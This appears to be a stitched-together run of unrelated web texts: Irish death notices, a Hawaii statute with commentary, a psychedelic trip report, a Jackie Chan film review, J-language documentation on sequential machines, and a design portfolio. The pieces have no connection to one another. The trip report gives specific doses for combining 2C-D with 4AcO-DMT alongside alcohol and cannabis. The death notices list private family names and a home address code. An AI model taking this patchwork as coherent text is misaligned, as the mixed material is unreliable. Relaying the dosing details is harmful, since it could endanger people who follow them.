May she rest in peace
The death has occurred of Brigid Curran (née Wynne) of Crowmartin, Ardee, Louth
On November 18 following a short illness. Brigid; predeceased by her son Davy, will be sadly missed by her loving husband Noel and children Margaret, Eugene, John, Noel, Richard and Bridget; her brothers and sisters, grandchildren, great-grandchild, nephews and nieces.
Brigid will repose at her home at Crowmartin, Ardee on Wednesday, 20th November, from 2pm to 8pm.
House strictly private at all other times Please.
Removal from the family home on Thursday, 21st November, to St. Malachy's Church, Reaghstown arriving for 11am Funeral Mass. Burial afterwards in Reaghstown Cemetery.
House private on Thursday morning please.
May she rest in peace
The death has occurred of John (Jackie) Callan of Eastbourne, England and formerly of Cluan Enda, Dundalk, Louth
Suddenly in Spain on October 5, 2019. Predeceased by his parents Jack and Olive and his beloved wife Penny. Cherished father of Nik and Stephen.
Jackie will be sadly missed by his loving sons, daughters in-law Sue and Naomi, grandchildren Jake, Sam, Katy, Henry and Claudia, brothers Frank and Ray (Canada) Brian (Dundalk), sisters in-law, nephews, nieces, relatives, friends and neighbours.
Interment will take place in Eastbourne, East Sussex, England.
A Memorial Mass will take place on Friday evening 22nd November at 7.30pm in Saint Joseph's Redemptorist Church.
May he rest in peace
The death has occurred of Kitty Ballantine (née Mulligan) of Old Road, Bellurgan, Dundalk, Louth
Peacefully, at home, surrounded by her family. Beloved wife of the late Jackie and dear mother of Vincent, John, Raymond, Jacqueline, Jim, Brendan, Jennifer, Derek, Maria, Ciara, Claire and the late Ronan.
She will be sadly missed by her loving sons, daughters, daughters and sons-in-law Corinne, Helen, Sheila, Dursun, Katrina, Cynthia, Seán, Tessa, Ray, Gavin and Tommy, grandchildren, great-grandchildren, brothers, sisters, brothers-in-law, sisters-in-law, nephews, nieces, relatives and friends.
Reposing at her home (Eircode A91 W5YW) from 12 noon on Wednesday.
Removal on Thursday at 11.15am, to St. Mary's Church, Ravensdale, arriving for Funeral Mass at 12 noon. Burial afterwards in Calvary Cemetery.
Family flowers only. Donations, if desired, to Downs Syndrome Ireland and the Irish Cancer Society c/o Quinn's Funeral Homes.
House private on Thursday, please.
Please Note: Parking will be available on Old Road. A one way system will be in operation, entering from the Jenkinstown-Omeath Road L3084 at Bellurgan Station House and exiting back on to the main road on the L70861.
May she rest in peace


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§704-403 Physical or mental disease, disorder, or defect excluding fitness to proceed. No person who as a result of a physical or mental disease, disorder, or defect lacks capacity to understand the proceedings against the person or to assist in the person's own defense shall be tried, convicted, or sentenced for the commission of an offense so long as such incapacity endures. [L 1972, c 9, pt of §1; gen ch 1993]
COMMENTARY ON §704-403
The section sets forth the universally accepted position in Anglo-American law that a defendant cannot be proceeded against (with the exception of being charged) unless the defendant has the capacity to understand the proceedings against the defendant and assist in the defendant's own defense. The Code deliberately avoids terms such as "the then present insanity"[1] and focuses on those factors which call for a suspension of the proceedings: (1) lack of capacity to understand the proceedings, or (2) lack of capacity to assist in the defense.
Previous Hawaii law is substantially in accord with this section except that the statutory language used vague, unfocused phrases such as "the then present insanity or mental irresponsibility of the accused," and "the then existing... mental irresponsibility."[2] However, in actual application the trial courts have focused on the capacity of the defendant to understand the proceedings and to assist in the defense.[3]
Law Journals and Reviews
Fitness to Proceed: Compassion or Prejudice? II HBJ, no. 13, at 135 (1998).
Case Notes
Facts did not support a finding that petitioner was mentally incompetent at relevant times. 79 H. 118 (App.), 899 P.2d 401 (1995).
Cited: 60 H. 17, 586 P.2d 1028 (1978); 134 H. 308, 340 P.3d 440 (2014).
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§704-403 Commentary:
1. See H.R.S. §§711-91 and 711-92.
2. Id.
3. See State v. Wong, 47 Haw. 361, 365, 389 P.2d 439, 442 (1964).


First a bit of background; it had been a warm summer day in which I'd done a fair bit of light physical labour, and drunk a moderate quantity of alcohol. I had some friends (J and C) coming over for an evening visit and was just finishing (a fairly heavy) dinner when they arrived.
I had recently come into possession of 40mg of 2C-C, which I'd never tried, so I had planned to take a small test quantity (<1mg) in order to check for unforseen adverse reactions before taking a larger dose the next day. With my friends visiting, it seemed like it would be nice to trip together, so I shelved the plans for the next day's 2C-C trip (but still took the test dose), and discussed with them what material(s) we might want to try.>
After narrowing down my collection of substances to ones that I'd already tried, had in enough quantity to share, and would work reasonably well with the timeframe of the visit, we were left with the choice of 2C-D, 4AcO-DMT, or 5MeO-MIPT. J and C had already tried 4AcO-DMT, and I was suggesting that 2C-D might be a good fit for our planned activities. The idea was floated that mixing 2C-D and 4AcO-DMT might be an interesting combination, but they decided that, not yet having tried 2C-D on its own, they'd pass on the 4AcO.
I on the other hand was intrigued by the combination, so after giving 12mg doses of 2C-D to each of J and C, I prepared a combination of about 7mg of 2C-D and another 7mg of 4AcO. Before taking the dose, I left a voice memo on J's phone indicating the substances that I had taken (or was about to take) so that medical personnel could be suitably informed in the event of an emergency. I then took the material, and the three of us shared a joint.
We then walked over to a field where I'd set up a couple of free-rolling geodesic balls as play structures. The field was in an area that was thick with poplar trees, that had just released their seeds, blanketing the ground with a thick covering of white fluff. I was clearly beginning to come up by the time we arrived there; the combination of the white fluff all over the ground, the large geometric figures around me (the geodesic balls) and my state of consciousness felt exceptionally other-worldly.
We played on the balls for a while, and I experienced no real discernible effects beyond being quite a bit more talkative than usual, willing to attempt riskier activities on the balls (though I expect that the alcohol and company were a larger factor in this than the other influences), and generally light-hearted and happy.
After playing we began snacking and drinking wine at a nearby picnic table, but the mosquitoes came out quite heavily so (at what I'd estimate to be around T+0:45) we headed inside to continue snacking and drinking.
Once inside, I was beginning to notice slight visuals; in particular, wooden handrails were picking up a sort of primary-coloured mosaic texture (though this didn't seem to change their apparent shape at all). I then closed my eyes to see if there were interesting CEVs to be had. The patterns continued on my entire field of vision, but occasionally took on a more swirly, oily, globular texture (which was more purple and green then primary-coloured). After a (short) while longer, the visuals had transitioned back to more of a sparse primary coloured mosaic/bead type pattern on a brown background. For some inexplicable reason, this last pattern triggered painful memories, and I quickly opened my eyes to be rid of them. In retrospect, I still can't see any reasonable connection between the pattern and the memories that were triggered.
I returned to eating and drinking with my friends, but when refilling my cup with cherry juice and water, overfilled the cup, and spilled juice/water on myself and my seat. I grabbed a towel, wiped myself and my seat down, and then changed my shorts, putting the wet shorts into my laundry bag. During this process, I felt very disappointed with myself for having become intoxicated enough to make a mess of myself (though I was also using a cup that I'd recently rediscovered while cleaning earlier in the day, and it is deceptively small, and prone to spillage, as I subsequently remembered experiencing at baseline--this was no comfort during the trip though).
 By now, I was also seeing the mosaic-like patterns from the handrails on the struts of the balls as well, and there were occasional short, light trails.
We continued to play on the balls and chat until around T+2:45, at which point, I needed to take J and C to catch their last chance at transportation home. The observed effects and state of mind didn't vary considerably from the first round of play (with the addition of the visuals mentioned before) during this period. My mood continued to be light, and experimental/risk-taking with our play, and I remained relatively talkative.
Upon leaving, we headed down a street that was quite densely lined with vegetation, with the lights of the nearby city visible at the other end of it. The view struck me as a sort of catheddal of arching trees with a glowing rose-window of city lights at the end of it. I began thinking (and talking?) about the niceness of architectural forms that are close enough imitations of nature that memories of them can be evoked by natural settings (in contrast with many of the wholly unnatural architectural forms in modern life, and what sort of terrible psychic impact they must be having upon us).
Upon dropping J and C off, I went to shave and shower (to get any last residue of juice off my legs, and because I had generally felt behind on my hygeine). Upon removing my glasses, I saw trails forming from fuzzy regtangular blocks in my vision. I don't know why they were rectangular, but recall it taking me a few second to figure out that the rectangles were probably fuzzy because I'd just taken off my glasses (and not because it was a characteristic of this particular substance combination).
The shower was not particularly notable, and nor was my starting my laundry afterward, though I found that I was beginning to get tired (this would be at around T+3:45, and about 18h since I'd woken up in the morning). While wandering around, waiting for my load of laundry to finish washing so that I could transfer it to the dryer, I began to notice hallucinatory sounds, but can't remember their character. I also found myself sporadically dozing off into a state somewhere between tripping and dreaming, and any visuals becoming increasingly vivid and intense (though not changing significantly in character from earlier; just appearing over more objects in my field of vision, and more frequently).
I also found myself beginning to get somewhat anxious, negative, and self-critical. I began to worry uncontrollably (and in at least a few cases, quite unreasonably) about upcoming plans for the summer, my personal finances, and my relationship with my family. I also found that my stomach was beginning to churn with hunger, but it was close enough to bedtime, that I stuck to drinking more juice (I vaguely remember having eaten a cookie, or some chips, and it having produced some queaziness).
Between fretting, getting some more nutrients into me, and transferring my laundry, I found myself finally getting into bed at around T+5:00. At this point, the queaziness and negative thoughts were getting quite uncomfortable. In addition to this, my perception of any discomfort in my bed was heightened, and I had considerable difficulty falling asleep. I wanted very much to enjoy the loss of awareness of my body and the matters of the waking world that sleep would bring, but it was slow coming.
Eventually it did come, and I woke up the following day at around T+15:00. I felt somewhat sore and lethargic (though I expect that my level of physical activity the day before is entirely responsible for the soreness, and is also most of the cause of the lethargy), but did not otherwise feel particularly uncomfortable or hung over.
I suspect that much of the discomfort might have been avoidable had less alcohol been involved, or if I had started earlier in the day, when I wasn't due to become tired so soon. That said, I'm in no great hurry to try this combination again soon.
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A film review by Chris Casino
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***1/2 out of ****
Crew: Produced by Raymond Chow, Written by Jackie Chan and Edward Tang, Directed by Jackie Chan
Cast: Jackie Chan (Officer Jackie Chan), Bridgette Lin (Selena Fong), Maggie Cheung (May), Ken Tong (Inspector Bill Wong), Chu Yeun (Tom Ku)
I have a tremendous amount of respect for Jackie Chan. He makes his fight scenes realistic in that he gets hurt all the time (unlike American action stars) and he risks his life for his audience. I can't ask any more from my action heroes than that. Except for one thing:
They should keep making movies like this.
After returning to Hong Kong after shooting the amateurish Dirty Harry wannabe movie The Protector for James Glickenhaus (And where's he now? HELLO!) and putting the finishing touches on his version, Jackie Chan decided he wanted to do a cop movie his way and cooked up one with his frequent screenwriter Edward Tang, and, as expected of Jackie, it's a doozy!
The plot concerns Officer Kevin Chan (renamed Jackie in the dubbed-for-US version I saw) who is framed for the murder of a fellow officer trying to protect a witness. He spends the rest of the movie running from Tom Ku's mobsters, policemen, and, in a hilarious subplot, his jealous girlfriend May.
Not much of a plot, I realize, and plots are usually irrelevant in a Jackie Chan movie.  Here is no exception.
However, I do realize I complained particularly in my review of The Protector of the film's lack of a plot. That in itself isn't really a problem. The fact that James Glickenhaus would not allow Chan to be himself *was*. By turning him into a Dirty Harry cop, he ruins the appeal of Jackie in the first place. In an interview years afterward, Glickenhaus said he did not regret his decision (he obviously never saw the movie) and said he thought people in the States wouldn't accept his Asian style. Well, James, after Rush Hour and Rumble in the Bronx's successes here, I'll bet you're eating your words (not to mention free cheese from the government) now, aren't you?
 That is good because he knows how to film an action movie. James Glickenhaus does not. Don't believe me? Rent The Protector and Police Story and compare them side by side, then talk to me again.
As I said in my review of the latter film, if Golden Harvest had hired John Woo to direct and juice up Glickenhaus' script, it might have been halfway decent. In the Glickenhaus attempt its' only saving graces were Jackie and one or two decent fights and stunts. This isn't the case here. Jackie has total control and his screenwriter, Edward Tang, totally knows how to write a real Jackie Chan movie.
I also said in my review of the Protector that they should've let Jackie be himself in it because Americans would go wild over a kung fu comedian. In that case, maybe this film should've been distributed to the U.S. when it was made like Rumble in the Bronx later was. Maybe then Americans would've realized what a novelty he was and he wouldn't have had to've been soured on Hollywood by The Protector.
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J provides a primitive to handle one class of programs, ill-suited for parallel processing, that can be described systematically: sequential machines. Dyad ;: takes a sequential-machine description in x and a stream of input in y, and produces the result called for by the machine description.
A brief overview is as follows. The output array is initialized to empty. An initial row number (also called a state number) is chosen. Each item of input is converted into a column number. The column numbers are processed, one per iteration. In an iteration, the next column number is supplied to the row/action table: the row number and column number specify an item of the table, which is a 2-element vector giving the new row number and an action code. The action is performed and the row number is updated, completing the iteration. Execution continues until a 'quit' action is encountered or all the column numbers have been supplied. At that point the output array, which contains the accumulated results of the actions performed, becomes the result of the verb.
To illustrate the use of dyad ;: we will build a machine to recognize hex constants in character input, where a hex constant is '0x' followed by any positive number of hexadecimal digits.
The machine description, the x argument to dyad ;:, is a list of boxes f;s;m;ijrd . m and ijrd may be omitted.
m controls the conversion of the items of y to column numbers. In the general case, m is a list of boxes; then the column number produced for an item of y is the index of the first box of m whose contents have an item equal to the item of y (if there is no such box, a column number of #m is used). If y is a string, m may be a numeric list containing one column number for each character code and the column numbers are (a. i. y) { m . If y is numeric, m may be empty or omitted, and y specifies the column numbers directly.
In our example problem, we see that the input characters are in 4 classes: the character 0; the character x, the hexadecimal characters<PHONE_NUMBER>abcdefABCDEF, and all other characters. We will assign these column numbers 3, 2, 1, and 0 respectively. The conversion control m can be generated by the statements
m =. a. e. '0x123456789abcdefABCDEF'
m =. m + a. e. '0x'
m =. m + a. e. '0'
and can be verified by
(a. i. '0x2aq') { m
3 2 1 1 0
ijrd gives the initial values of 4 variables used by the sequential machine: the input pointer i, the word pointer j, the row number r. and the final column d. The input pointer is the index in y of the next item to be processed, and is incremented by 1 at the end of each iteration. The word pointer is the index in y of the first item in the current word; when the action code calls for producing output, the output will start with item j. When j is _1, there is no current word. The row number, as noted above, is used to index the row/action table. The final column d is an extra column number that will be processed after the last item of y has been processed; it is the column for 'end-of-input'. If ijrd is omitted, it defaults to 0 _1 0 _1, which means start processing the first item of y, with no current word, and starting in row number 0, with no final column. In our example problem, we would like end-of-input to be treated as a non-hexadecimal character, so we will use a final column of 0 and our ijrd will be 0 _1 0 0 ..
s gives the row/action table. This table has as many rows as needed to encode all the states of the sequential machine, and as many columns as there are possible columns numbers of mapped input. Each 1-cell of s is a 2-element list. The first element will become the row number for the next iteration. The second is the action code, indicating the action to be performed. The action code is a number from 0 to 6, with meanings as follows:
|
Action code |
Addition to output array |
Change to j (after any addition to the output) |
|
0 |
none |
none |
|
1 |
none |
j =. i |
|
2 |
add single word |
j =. i |
|
3 |
add single word |
j =. _1 |
|
4 |
add multiple words |
j =. i |
|
5 |
add multiple words |
j =. _1 |
|
6 |
stop--no further iterations are performed |
Executing an 'add' action when j is _1 produces a domain error.
The action code indicates when a value is appended to the output array. The value that is appended depends on the f parameter (which came from the x argument to dyad ;:) and the values of the iteration variables. The values appended for different values of f are (r=row number, c=column number, j=word pointer, i=input pointer):
|
f |
Value appended |
Description |
|
0 |
the items of y between j and i-1, boxed |
Boxed word of y |
|
1 |
the items of y between j and i-1 |
Unboxed word of y |
|
2 |
j , i-j |
Index and length of word |
|
3 |
c + r * number of columns in s |
Coded row and column |
|
4 |
j , (i-j) , c + r * number of columns in s |
Index and length of word, and coded row and column |
|
5 |
i , j, r , c , (<r,c){s |
Input
pointer, word pointer, row, column, |
The indicated data is appended to the output array whenever an 'add single word' action is executed. The 'add multiple words' action also adds the data to the output except that a sequence of consecutive 'add multiple words' actions executed from the same row causes only a single item to be added to the output array: the 'add multiple words' actions executed after the first one modify the item that was added by the first.
If no 'stop' action has been encountered, then after the last item of y has been processed, the end-of-input action is performed: if d is nonnegative, one last iteration is performed with d as the column number; otherwise, one final 'emit multiple words' action is performed if j is not _1.
We can build the state table s for our sample problem now. There will be 4 rows. First, we wait for 0; then we expect x; then we expect a hexadecimal digit, signaling start-of-word if we see it; then we wait for a non-hexadecimal-digit, and output the word when we get one. The state table will look like this:
|
Row |
Description |
Column
0 |
Column
1 |
Column
2 |
Column
3 |
|
0 |
Waiting for 0 |
0 0 |
0 0 |
0 0 |
1 1 |
|
1 |
Expecting x |
0 0 |
0 0 |
2 0 |
0 0 |
|
2 |
Expecting first digit |
0 0 |
3 0 |
0 0 |
3 0 |
|
3 |
Waiting for nondigit |
0 3 |
3 0 |
0 3 |
3 0 |
This state table is generated by:
s =. 1 4 2 $ 0 0 0 0 0 0 1 1
s =. s , 4 2 $ 0 0 0 0 2 0 0 0
s =. s
, 4 2 $ 0 0 3 0 0 0 3 0
s =. s , 4 2 $ 0 3 3 0 0 3 3 0
and we use it with
(0;s;m;0 _1 0 0) ;: 'qqq0x30x30x40x0xxxx'
+----+----+
|0x30|0x40|
+----+----+
(0;s;m;0 _1 0 0) ;: 'qqq0x30x30x40x0x34a'
+----+----+-----+
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It is a gathering that is sponsored by a business for its employees, business partners, clients and /or prospective clients. More Info.
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Events that hold the attention and interest of an audience or gives pleasure and delight. More Info.
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Vox, a choir with a unique sound, were looking for a logo which would be representative of their sound. Vox’s music has an enchanting sound as they replicate sounds from nature and infuse it into their music. They view their music as a spiritual journey and I used that as a base for my logo design. My aim with the logo that I have designed was to evoke a feeling of flow in a symbol that would feel at home on a musical score sheet
I made three logos that could work for the brand. Each logo had a unique story and each could be incorporated into the look and feel of the brand.
Deca Music Video
Deca is an instrumental band that wanted to conceptualise and shoot a music video for their cover of Ed Sheeran’s "Shape of you" song. The music video was shot for Deca’s Youtube channel to generate views and increase their followers. This was a great experience for me, as this was my first time editing a music video intended for professional use.
Grumpy App
This is a design for an app called Grumpy. The brief was to design the CI for Grumpy. Dedicated to venting out complaints, this app allows people to voice out their complaints and vent out their anger on a social media platform.
After many iterations, the client was fixated on the “G” character for the logo. The logo was to represent communication and anger yet keep a clean corporate style that could translate well for an app icon. The UI design is inspired by simplicity as no one would want to pester an already angry user.
I designed emojis that had angry expressions and they were added onto the app, as a way for users to express themselves.
Champion Ad
This is a stop motion ad of which we were required to select a brand of our choice to promote through creating a stop motion ad. This ad promotes the sweet Champion.
The sweet is made into a character who has an athletic obstacle to go through and ends with it parachuting like a hero with other sweets aspiring to be like the Champion. The ad ends with a phrase of “A Champion will always be a Champion”.
Watermelon
The following illustration is a metaphor of who I am, how I view myself, and my likes. I am a big fan of fresh fruit and sweet things. I also have an interest in innovation, which is my reason for choosing a cube shaped watermelon. The cubed watermelon is a Chinese innovation, which they invented for easy packing and transportation. The cubed watermelon reflects my love for finding new ways of doing things. I animated the cubed watermelon. So, it eats itself until only the hands and mouth are left. This is a reflection of how hard I am on myself when I work, to a point where it often consumes me. The animation ends with my name typed in a font-face I had created to suit the look and feel of the watermelon.
My first love is Illustrator, therefore, I started my character development using Illustrator. My experience on animating characters on After Effects was limited, at the time, so I enlisted the help of one of the designers that I worked with. He showed me the basics and I quickly learnt how to animate by myself.
Zambuk Rebranding
Traditional tin packaging
Alternative advertising
This rebranding exercise was about taking the Zambuk brand and changing it up to a modern standard. There are pop art inspired elements and also the combining of an old vintage look with a modern twist.
This rebranding exercise was about taking the Zambuk brand and changing it up to a modern standard. There are pop art inspired elements and also the combining of an old vintage look with a modern twist.
Business Card Back
The following is a business card back for Sum of 21. As graphic design interns, we were tasked to create artwork that would go on the Sum of 21 business card. Each would create artwork in their own style that would showcase or test their own abilities.
Champion Ad
This is a stop motion ad of which we were required to select a brand of our choice to promote through creating a stop motion ad. This ad promotes the sweet Champion.
The sweet is made into a character who has an athletic obstacle to go through and ends with it parachuting like a hero with other sweets aspiring to be like the Champion. The ad ends with a phrase of “A Champion will always be a Champion”.
Open Data Cause
Open Data logo
The Open data logo is done in an 8bit style. This gives the feeling of a digital format as the whole campaign is based on making people aware of cheaper alternatives to make internet access cheaper. Kore Dore is the slogan/chatch phrase for the social media campaign. This is short for Know more, do more.
This project is about thinking of a Cause that could help humanity whilst aligning it with a brand. The aim of this cause is to enlighten people about affordable ways to access the internet. We were expected to come up with the logo and overall brand for the which ever cause we chose.


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